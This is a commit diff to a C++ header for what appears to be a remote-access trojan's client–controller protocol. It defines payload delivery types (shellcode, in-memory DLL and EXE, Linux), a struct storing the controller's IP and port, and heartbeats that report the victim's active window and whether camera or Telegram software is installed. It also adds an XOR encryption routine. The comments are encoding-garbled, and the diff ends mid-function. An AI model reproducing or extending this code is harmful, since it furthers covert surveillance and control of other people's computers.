Improvement: Prepare for optimization of online capacity
This commit is contained in:
@@ -68,9 +68,9 @@ typedef void* LPVOID, * HANDLE;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
#define FLAG_FINDEN 0x1234567
|
||||
#define FLAG_FINDEN "Hello, World!"
|
||||
|
||||
#define FLAG_GHOST 0x7654321
|
||||
#define FLAG_GHOST FLAG_FINDEN
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||
@@ -202,43 +202,84 @@ enum
|
||||
|
||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
};
|
||||
|
||||
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_MODULE 2 // DLL<4C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><EFBFBD>˴<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_ONE = 1, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_MEMEXE = -1, // <20>ڴ<EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_MODULE = 2, // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||||
CLIENT_TYPE_MEMDLL = 5, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_LINUX = 6, // LINUX <20>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
};
|
||||
|
||||
inline const char* GetClientType(int typ) {
|
||||
switch (typ)
|
||||
{
|
||||
case CLIENT_TYPE_DLL:
|
||||
return "DLL";
|
||||
case CLIENT_TYPE_ONE:
|
||||
return "EXE";
|
||||
case CLIENT_TYPE_MEMEXE:
|
||||
return "MEXE";
|
||||
case CLIENT_TYPE_MODULE:
|
||||
return "DLL";
|
||||
case CLIENT_TYPE_SHELLCODE:
|
||||
return "SC";
|
||||
case CLIENT_TYPE_MEMDLL:
|
||||
return "MDLL";
|
||||
case CLIENT_TYPE_LINUX:
|
||||
return "LNX";
|
||||
default:
|
||||
return "DLL";
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
public:
|
||||
unsigned long dwFlag;
|
||||
char szServerIP[_MAX_PATH];
|
||||
int iPort;
|
||||
char szFlag[32];
|
||||
char szServerIP[100];
|
||||
char szPort[8];
|
||||
int iType;
|
||||
bool bEncrypt;
|
||||
char szBuildDate[12];
|
||||
int iMultiOpen;
|
||||
char szReserved[134]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
iType = typ;
|
||||
}
|
||||
const unsigned long & Flag() const {
|
||||
return dwFlag;
|
||||
const void* Flag() const {
|
||||
return szFlag;
|
||||
}
|
||||
int FlagLen() const {
|
||||
return strlen(szFlag);
|
||||
}
|
||||
const char* ServerIP()const {
|
||||
return szServerIP;
|
||||
}
|
||||
int ServerPort()const {
|
||||
return iPort;
|
||||
return atoi(szPort);
|
||||
}
|
||||
int ClientType()const {
|
||||
return iType;
|
||||
}
|
||||
void SetServer(const char* ip, int port) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
iPort = port;
|
||||
sprintf_s(szPort, "%d", port);
|
||||
}
|
||||
bool IsValid()const {
|
||||
return strlen(szServerIP) != 0 && iPort > 0;
|
||||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
||||
}
|
||||
int Size() const {
|
||||
return sizeof(CONNECT_ADDRESS);
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
@@ -270,6 +311,67 @@ typedef struct LOGIN_INFOR
|
||||
}
|
||||
}LOGIN_INFOR;
|
||||
|
||||
// <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
|
||||
typedef struct Heartbeat
|
||||
{
|
||||
uint64_t Time;
|
||||
char ActiveWnd[512];
|
||||
int Ping;
|
||||
int HasSoftware;
|
||||
char Reserved[496];
|
||||
|
||||
Heartbeat() {
|
||||
memset(this, 0, sizeof(Heartbeat));
|
||||
}
|
||||
Heartbeat(const std::string& s, int ping = 0) {
|
||||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now()
|
||||
);
|
||||
Time = system_ms.time_since_epoch().count();
|
||||
strcpy_s(ActiveWnd, s.c_str());
|
||||
Ping = ping;
|
||||
memset(Reserved, 0, sizeof(Reserved));
|
||||
}
|
||||
int Size() const {
|
||||
return sizeof(Heartbeat);
|
||||
}
|
||||
}Heartbeat;
|
||||
|
||||
typedef struct HeartbeatACK {
|
||||
uint64_t Time;
|
||||
char Reserved[24];
|
||||
}HeartbeatACK;
|
||||
|
||||
// <20>̶<EFBFBD>500<30>ֽ<EFBFBD>
|
||||
typedef struct MasterSettings {
|
||||
int ReportInterval; // <20>ϱ<EFBFBD><CFB1><EFBFBD><EFBFBD><EFBFBD>
|
||||
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
|
||||
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
|
||||
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char Reserved[476]; // Ԥ<><D4A4>
|
||||
}MasterSettings;
|
||||
|
||||
enum
|
||||
{
|
||||
SOFTWARE_CAMERA = 0,
|
||||
SOFTWARE_TELEGRAM,
|
||||
|
||||
SHELLCODE = 0,
|
||||
MEMORYDLL = 1,
|
||||
};
|
||||
|
||||
typedef DWORD(__stdcall* PidCallback)(void);
|
||||
|
||||
inline const char* EVENTID(PidCallback pid) {
|
||||
static char buf[64] = { 0 };
|
||||
if (buf[0] == 0) {
|
||||
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
|
||||
|
||||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||
for (char key : keys) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
|
||||
Reference in New Issue
Block a user